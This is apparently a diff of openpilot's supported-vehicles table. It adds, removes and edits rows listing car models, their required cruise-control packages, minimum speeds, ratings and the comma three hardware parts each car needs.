|| -|Buick|LaCrosse 2017-19[3](#footnotes)|Driver Confidence Package 2|openpilot|18 mph|7 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-empty.svg)](##)|
View- 1 OBD-II connector
- 1 comma three
- 2 long OBD-C cable
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| -|Cadillac|Escalade 2017[3](#footnotes)|Driver Assist Package|openpilot|0 mph|7 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-empty.svg)](##)|
View- 1 OBD-II connector
- 1 comma three
- 2 long OBD-C cable
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| -|Cadillac|Escalade ESV 2016[3](#footnotes)|Adaptive Cruise Control (ACC) & LKAS|openpilot|0 mph|7 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-empty.svg)](##)|
View- 1 OBD-II connector
- 1 comma three
- 2 long OBD-C cable
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| +|Audi|A3 2014-19|Adaptive Cruise Control (ACC) & Lane Assist|openpilot available[1,12](#footnotes)|0 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 J533 connector
- 1 USB-C coupler
- 1 comma three
- 1 harness box
- 1 long OBD-C cable
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| +|Audi|A3 Sportback e-tron 2017-18|Adaptive Cruise Control (ACC) & Lane Assist|openpilot available[1,12](#footnotes)|0 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 J533 connector
- 1 USB-C coupler
- 1 comma three
- 1 harness box
- 1 long OBD-C cable
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| +|Audi|Q2 2018|Adaptive Cruise Control (ACC) & Lane Assist|openpilot available[1,12](#footnotes)|0 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 J533 connector
- 1 USB-C coupler
- 1 comma three
- 1 harness box
- 1 long OBD-C cable
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| +|Audi|Q3 2019-23|Adaptive Cruise Control (ACC) & Lane Assist|openpilot available[1,12](#footnotes)|0 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 J533 connector
- 1 USB-C coupler
- 1 comma three
- 1 harness box
- 1 long OBD-C cable
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| +|Audi|RS3 2018|Adaptive Cruise Control (ACC) & Lane Assist|openpilot available[1,12](#footnotes)|0 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 J533 connector
- 1 USB-C coupler
- 1 comma three
- 1 harness box
- 1 long OBD-C cable
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| +|Audi|S3 2015-17|Adaptive Cruise Control (ACC) & Lane Assist|openpilot available[1,12](#footnotes)|0 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 J533 connector
- 1 USB-C coupler
- 1 comma three
- 1 harness box
- 1 long OBD-C cable
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| +|Buick|LaCrosse 2017-19[4](#footnotes)|Driver Confidence Package 2|openpilot|18 mph|7 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-empty.svg)](##)|
View- 1 OBD-II connector
- 1 comma three
- 2 long OBD-C cable
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| +|Cadillac|Escalade 2017[4](#footnotes)|Driver Assist Package|openpilot|0 mph|7 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-empty.svg)](##)|
View- 1 OBD-II connector
- 1 comma three
- 2 long OBD-C cable
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| +|Cadillac|Escalade ESV 2016[4](#footnotes)|Adaptive Cruise Control (ACC) & LKAS|openpilot|0 mph|7 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-empty.svg)](##)|
View- 1 OBD-II connector
- 1 comma three
- 2 long OBD-C cable
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| |Chevrolet|Bolt EUV 2022-23|Premier or Premier Redline Trim without Super Cruise Package|openpilot available[1](#footnotes)|3 mph|6 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-empty.svg)](##)|
View- 1 GM connector
- 1 RJ45 cable (7 ft)
- 1 comma power v2
- 1 comma three
- 1 harness box
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| |Chevrolet|Bolt EV 2022-23|2LT Trim with Adaptive Cruise Control Package|openpilot available[1](#footnotes)|3 mph|6 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-empty.svg)](##)|
View- 1 GM connector
- 1 RJ45 cable (7 ft)
- 1 comma power v2
- 1 comma three
- 1 harness box
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| -|Chevrolet|Silverado 1500 2020-21|Safety Package II|openpilot available[1](#footnotes)|3 mph|6 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-empty.svg)](##)|
View- 1 GM connector
- 1 RJ45 cable (7 ft)
- 1 comma power v2
- 1 comma three
- 1 harness box
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| +|Chevrolet|Silverado 1500 2020-21|Safety Package II|openpilot available[1](#footnotes)|0 mph|6 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-empty.svg)](##)|
View- 1 GM connector
- 1 RJ45 cable (7 ft)
- 1 comma power v2
- 1 comma three
- 1 harness box
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| |Chevrolet|Trailblazer 2021-22|Adaptive Cruise Control (ACC)|openpilot available[1](#footnotes)|3 mph|6 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-empty.svg)](##)|
View- 1 GM connector
- 1 RJ45 cable (7 ft)
- 1 comma power v2
- 1 comma three
- 1 harness box
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| -|Chevrolet|Volt 2017-18[3](#footnotes)|Adaptive Cruise Control (ACC)|openpilot|0 mph|7 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-empty.svg)](##)|
View- 1 OBD-II connector
- 1 comma three
- 2 long OBD-C cable
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| +|Chevrolet|Volt 2017-18[4](#footnotes)|Adaptive Cruise Control (ACC)|openpilot|0 mph|7 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-empty.svg)](##)|
View- 1 OBD-II connector
- 1 comma three
- 2 long OBD-C cable
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| |Chrysler|Pacifica 2017-18|Adaptive Cruise Control (ACC)|Stock|0 mph|9 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 FCA connector
- 1 RJ45 cable (7 ft)
- 1 comma power v2
- 1 comma three
- 1 harness box
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| |Chrysler|Pacifica 2019-20|Adaptive Cruise Control (ACC)|Stock|0 mph|39 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 FCA connector
- 1 RJ45 cable (7 ft)
- 1 comma power v2
- 1 comma three
- 1 harness box
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| |Chrysler|Pacifica 2021|All|Stock|0 mph|39 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 FCA connector
- 1 RJ45 cable (7 ft)
- 1 comma power v2
- 1 comma three
- 1 harness box
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| @@ -34,6 +34,7 @@ A supported vehicle is one that just works when you install a comma three. All s |Ford|Bronco Sport 2021-22|Co-Pilot360 Assist+|openpilot available[1](#footnotes)|0 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 Ford Q3 connector
- 1 RJ45 cable (7 ft)
- 1 angled mount (8 degrees)
- 1 comma power v2
- 1 comma three
- 1 harness box
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| |Ford|Escape 2020-22|Co-Pilot360 Assist+|openpilot available[1](#footnotes)|0 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 Ford Q3 connector
- 1 RJ45 cable (7 ft)
- 1 comma power v2
- 1 comma three
- 1 harness box
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| |Ford|Explorer 2020-22|Co-Pilot360 Assist+|openpilot available[1](#footnotes)|0 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 Ford Q3 connector
- 1 RJ45 cable (7 ft)
- 1 comma power v2
- 1 comma three
- 1 harness box
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| +|Ford|Focus 2018[3](#footnotes)|Adaptive Cruise Control with Lane Centering|openpilot available[1](#footnotes)|0 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 Ford Q3 connector
- 1 RJ45 cable (7 ft)
- 1 comma power v2
- 1 comma three
- 1 harness box
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| |Ford|Kuga 2020-22|Adaptive Cruise Control with Lane Centering|openpilot available[1](#footnotes)|0 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 Ford Q3 connector
- 1 RJ45 cable (7 ft)
- 1 comma power v2
- 1 comma three
- 1 harness box
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| |Ford|Maverick 2022-23|Co-Pilot360 Assist|openpilot available[1](#footnotes)|0 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 Ford Q3 connector
- 1 RJ45 cable (7 ft)
- 1 angled mount (8 degrees)
- 1 comma power v2
- 1 comma three
- 1 harness box
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| |Genesis|G70 2018-19|All|Stock|0 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 Hyundai F connector
- 1 RJ45 cable (7 ft)
- 1 comma power v2
- 1 comma three
- 1 harness box
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| @@ -41,43 +42,43 @@ A supported vehicle is one that just works when you install a comma three. All s |Genesis|G80 2017|All|Stock|19 mph|37 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 Hyundai J connector
- 1 RJ45 cable (7 ft)
- 1 comma power v2
- 1 comma three
- 1 harness box
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| |Genesis|G80 2018-19|All|Stock|0 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 Hyundai H connector
- 1 RJ45 cable (7 ft)
- 1 comma power v2
- 1 comma three
- 1 harness box
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| |Genesis|G90 2017-18|All|openpilot available[1](#footnotes)|0 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 Hyundai C connector
- 1 RJ45 cable (7 ft)
- 1 comma power v2
- 1 comma three
- 1 harness box
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| -|Genesis|GV60 (Advanced Trim) 2023[5](#footnotes)|All|openpilot available[1](#footnotes)|0 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 Hyundai A connector
- 1 RJ45 cable (7 ft)
- 1 comma power v2
- 1 comma three
- 1 harness box
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| -|Genesis|GV60 (Performance Trim) 2023[5](#footnotes)|All|openpilot available[1](#footnotes)|0 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 Hyundai K connector
- 1 RJ45 cable (7 ft)
- 1 comma power v2
- 1 comma three
- 1 harness box
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| -|Genesis|GV70 (2.5T Trim) 2022-23[5](#footnotes)|All|Stock|0 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 Hyundai L connector
- 1 RJ45 cable (7 ft)
- 1 comma power v2
- 1 comma three
- 1 harness box
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| -|Genesis|GV70 (3.5T Trim) 2022-23[5](#footnotes)|All|Stock|0 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 Hyundai M connector
- 1 RJ45 cable (7 ft)
- 1 comma power v2
- 1 comma three
- 1 harness box
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| -|Genesis|GV80 2023[5](#footnotes)|All|Stock|0 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 Hyundai M connector
- 1 RJ45 cable (7 ft)
- 1 comma power v2
- 1 comma three
- 1 harness box
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| -|GMC|Acadia 2018[3](#footnotes)|Adaptive Cruise Control (ACC)|openpilot|0 mph|7 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-empty.svg)](##)|
View- 1 OBD-II connector
- 1 comma three
- 2 long OBD-C cable
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| -|GMC|Sierra 1500 2020-21|Driver Alert Package II|openpilot available[1](#footnotes)|3 mph|6 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-empty.svg)](##)|
View- 1 GM connector
- 1 RJ45 cable (7 ft)
- 1 comma power v2
- 1 comma three
- 1 harness box
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| +|Genesis|GV60 (Advanced Trim) 2023[6](#footnotes)|All|openpilot available[1](#footnotes)|0 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 Hyundai A connector
- 1 RJ45 cable (7 ft)
- 1 comma power v2
- 1 comma three
- 1 harness box
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| +|Genesis|GV60 (Performance Trim) 2023[6](#footnotes)|All|openpilot available[1](#footnotes)|0 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 Hyundai K connector
- 1 RJ45 cable (7 ft)
- 1 comma power v2
- 1 comma three
- 1 harness box
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| +|Genesis|GV70 (2.5T Trim) 2022-23[6](#footnotes)|All|Stock|0 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 Hyundai L connector
- 1 RJ45 cable (7 ft)
- 1 comma power v2
- 1 comma three
- 1 harness box
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| +|Genesis|GV70 (3.5T Trim) 2022-23[6](#footnotes)|All|Stock|0 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 Hyundai M connector
- 1 RJ45 cable (7 ft)
- 1 comma power v2
- 1 comma three
- 1 harness box
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| +|Genesis|GV80 2023[6](#footnotes)|All|Stock|0 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 Hyundai M connector
- 1 RJ45 cable (7 ft)
- 1 comma power v2
- 1 comma three
- 1 harness box
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| +|GMC|Acadia 2018[4](#footnotes)|Adaptive Cruise Control (ACC)|openpilot|0 mph|7 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-empty.svg)](##)|
View- 1 OBD-II connector
- 1 comma three
- 2 long OBD-C cable
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| +|GMC|Sierra 1500 2020-21|Driver Alert Package II|openpilot available[1](#footnotes)|0 mph|6 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-empty.svg)](##)|
View- 1 GM connector
- 1 RJ45 cable (7 ft)
- 1 comma power v2
- 1 comma three
- 1 harness box
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| |Honda|Accord 2018-22|All|openpilot available[1](#footnotes)|0 mph|3 mph|[![star](assets/icon-star-empty.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 Honda Bosch A connector
- 1 RJ45 cable (7 ft)
- 1 comma power v2
- 1 comma three
- 1 harness box
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| |Honda|Accord Hybrid 2018-22|All|openpilot available[1](#footnotes)|0 mph|3 mph|[![star](assets/icon-star-empty.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 Honda Bosch A connector
- 1 RJ45 cable (7 ft)
- 1 comma power v2
- 1 comma three
- 1 harness box
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| |Honda|Civic 2016-18|Honda Sensing|openpilot|0 mph|12 mph|[![star](assets/icon-star-empty.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 Honda Nidec connector
- 1 RJ45 cable (7 ft)
- 1 comma power v2
- 1 comma three
- 1 harness box
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| -|Honda|Civic 2019-21|All|openpilot available[1](#footnotes)|0 mph|2 mph[4](#footnotes)|[![star](assets/icon-star-empty.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 Honda Bosch A connector
- 1 RJ45 cable (7 ft)
- 1 comma power v2
- 1 comma three
- 1 harness box
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| +|Honda|Civic 2019-21|All|openpilot available[1](#footnotes)|0 mph|2 mph[5](#footnotes)|[![star](assets/icon-star-empty.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 Honda Bosch A connector
- 1 RJ45 cable (7 ft)
- 1 comma power v2
- 1 comma three
- 1 harness box
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| |Honda|Civic 2022|All|openpilot available[1](#footnotes)|0 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 Honda Bosch B connector
- 1 RJ45 cable (7 ft)
- 1 comma power v2
- 1 comma three
- 1 harness box
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| |Honda|Civic Hatchback 2017-21|Honda Sensing|openpilot available[1](#footnotes)|0 mph|12 mph|[![star](assets/icon-star-empty.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 Honda Bosch A connector
- 1 RJ45 cable (7 ft)
- 1 comma power v2
- 1 comma three
- 1 harness box
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| |Honda|Civic Hatchback 2022|All|openpilot available[1](#footnotes)|0 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 Honda Bosch B connector
- 1 RJ45 cable (7 ft)
- 1 comma power v2
- 1 comma three
- 1 harness box
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| -|Honda|CR-V 2015-16|Touring Trim|openpilot|25 mph|12 mph|[![star](assets/icon-star-empty.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 Honda Nidec connector
- 1 RJ45 cable (7 ft)
- 1 comma power v2
- 1 comma three
- 1 harness box
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| +|Honda|CR-V 2015-16|Touring Trim|openpilot|25 mph|12 mph|[![star](assets/icon-star-empty.svg)](##)|[![star](assets/icon-star-empty.svg)](##)|
View- 1 Honda Nidec connector
- 1 RJ45 cable (7 ft)
- 1 comma power v2
- 1 comma three
- 1 harness box
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| |Honda|CR-V 2017-22|Honda Sensing|openpilot available[1](#footnotes)|0 mph|12 mph|[![star](assets/icon-star-empty.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 Honda Bosch A connector
- 1 RJ45 cable (7 ft)
- 1 comma power v2
- 1 comma three
- 1 harness box
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| |Honda|CR-V Hybrid 2017-19|Honda Sensing|openpilot available[1](#footnotes)|0 mph|12 mph|[![star](assets/icon-star-empty.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 Honda Bosch A connector
- 1 RJ45 cable (7 ft)
- 1 comma power v2
- 1 comma three
- 1 harness box
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| |Honda|e 2020|All|openpilot available[1](#footnotes)|0 mph|3 mph|[![star](assets/icon-star-empty.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 Honda Bosch A connector
- 1 RJ45 cable (7 ft)
- 1 comma power v2
- 1 comma three
- 1 harness box
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| -|Honda|Fit 2018-20|Honda Sensing|openpilot|25 mph|12 mph|[![star](assets/icon-star-empty.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 Honda Nidec connector
- 1 RJ45 cable (7 ft)
- 1 comma power v2
- 1 comma three
- 1 harness box
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| -|Honda|Freed 2020|Honda Sensing|openpilot|25 mph|12 mph|[![star](assets/icon-star-empty.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 Honda Nidec connector
- 1 RJ45 cable (7 ft)
- 1 comma power v2
- 1 comma three
- 1 harness box
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| -|Honda|HR-V 2019-22|Honda Sensing|openpilot|25 mph|12 mph|[![star](assets/icon-star-empty.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 Honda Nidec connector
- 1 RJ45 cable (7 ft)
- 1 comma power v2
- 1 comma three
- 1 harness box
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| +|Honda|Fit 2018-20|Honda Sensing|openpilot|25 mph|12 mph|[![star](assets/icon-star-empty.svg)](##)|[![star](assets/icon-star-empty.svg)](##)|
View- 1 Honda Nidec connector
- 1 RJ45 cable (7 ft)
- 1 comma power v2
- 1 comma three
- 1 harness box
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| +|Honda|Freed 2020|Honda Sensing|openpilot|25 mph|12 mph|[![star](assets/icon-star-empty.svg)](##)|[![star](assets/icon-star-empty.svg)](##)|
View- 1 Honda Nidec connector
- 1 RJ45 cable (7 ft)
- 1 comma power v2
- 1 comma three
- 1 harness box
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| +|Honda|HR-V 2019-22|Honda Sensing|openpilot|25 mph|12 mph|[![star](assets/icon-star-empty.svg)](##)|[![star](assets/icon-star-empty.svg)](##)|
View- 1 Honda Nidec connector
- 1 RJ45 cable (7 ft)
- 1 comma power v2
- 1 comma three
- 1 harness box
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| |Honda|HR-V 2023|All|openpilot available[1](#footnotes)|0 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 Honda Bosch B connector
- 1 RJ45 cable (7 ft)
- 1 comma power v2
- 1 comma three
- 1 harness box
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| |Honda|Insight 2019-22|All|openpilot available[1](#footnotes)|0 mph|3 mph|[![star](assets/icon-star-empty.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 Honda Bosch A connector
- 1 RJ45 cable (7 ft)
- 1 comma power v2
- 1 comma three
- 1 harness box
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| |Honda|Inspire 2018|All|openpilot available[1](#footnotes)|0 mph|3 mph|[![star](assets/icon-star-empty.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 Honda Bosch A connector
- 1 RJ45 cable (7 ft)
- 1 comma power v2
- 1 comma three
- 1 harness box
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| -|Honda|Odyssey 2018-20|Honda Sensing|openpilot|25 mph|0 mph|[![star](assets/icon-star-empty.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 Honda Nidec connector
- 1 RJ45 cable (7 ft)
- 1 comma power v2
- 1 comma three
- 1 harness box
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| -|Honda|Passport 2019-23|All|openpilot|25 mph|12 mph|[![star](assets/icon-star-empty.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 Honda Nidec connector
- 1 RJ45 cable (7 ft)
- 1 comma power v2
- 1 comma three
- 1 harness box
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| -|Honda|Pilot 2016-22|Honda Sensing|openpilot|25 mph|12 mph|[![star](assets/icon-star-empty.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 Honda Nidec connector
- 1 RJ45 cable (7 ft)
- 1 comma power v2
- 1 comma three
- 1 harness box
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| -|Honda|Ridgeline 2017-23|Honda Sensing|openpilot|25 mph|12 mph|[![star](assets/icon-star-empty.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 Honda Nidec connector
- 1 RJ45 cable (7 ft)
- 1 comma power v2
- 1 comma three
- 1 harness box
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| +|Honda|Odyssey 2018-20|Honda Sensing|openpilot|25 mph|0 mph|[![star](assets/icon-star-empty.svg)](##)|[![star](assets/icon-star-empty.svg)](##)|
View- 1 Honda Nidec connector
- 1 RJ45 cable (7 ft)
- 1 comma power v2
- 1 comma three
- 1 harness box
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| +|Honda|Passport 2019-23|All|openpilot|25 mph|12 mph|[![star](assets/icon-star-empty.svg)](##)|[![star](assets/icon-star-empty.svg)](##)|
View- 1 Honda Nidec connector
- 1 RJ45 cable (7 ft)
- 1 comma power v2
- 1 comma three
- 1 harness box
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| +|Honda|Pilot 2016-22|Honda Sensing|openpilot|25 mph|12 mph|[![star](assets/icon-star-empty.svg)](##)|[![star](assets/icon-star-empty.svg)](##)|
View- 1 Honda Nidec connector
- 1 RJ45 cable (7 ft)
- 1 comma power v2
- 1 comma three
- 1 harness box
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| +|Honda|Ridgeline 2017-23|Honda Sensing|openpilot|25 mph|12 mph|[![star](assets/icon-star-empty.svg)](##)|[![star](assets/icon-star-empty.svg)](##)|
View- 1 Honda Nidec connector
- 1 RJ45 cable (7 ft)
- 1 comma power v2
- 1 comma three
- 1 harness box
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| |Hyundai|Elantra 2017-19|Smart Cruise Control (SCC)|Stock|19 mph|32 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 Hyundai B connector
- 1 RJ45 cable (7 ft)
- 1 comma power v2
- 1 comma three
- 1 harness box
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| |Hyundai|Elantra 2021-23|Smart Cruise Control (SCC)|openpilot available[1](#footnotes)|0 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 Hyundai K connector
- 1 RJ45 cable (7 ft)
- 1 comma power v2
- 1 comma three
- 1 harness box
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| |Hyundai|Elantra GT 2017-19|Smart Cruise Control (SCC)|Stock|0 mph|32 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 Hyundai E connector
- 1 RJ45 cable (7 ft)
- 1 comma power v2
- 1 comma three
- 1 harness box
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| |Hyundai|Elantra Hybrid 2021-23|Smart Cruise Control (SCC)|openpilot available[1](#footnotes)|0 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 Hyundai K connector
- 1 RJ45 cable (7 ft)
- 1 comma power v2
- 1 comma three
- 1 harness box
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
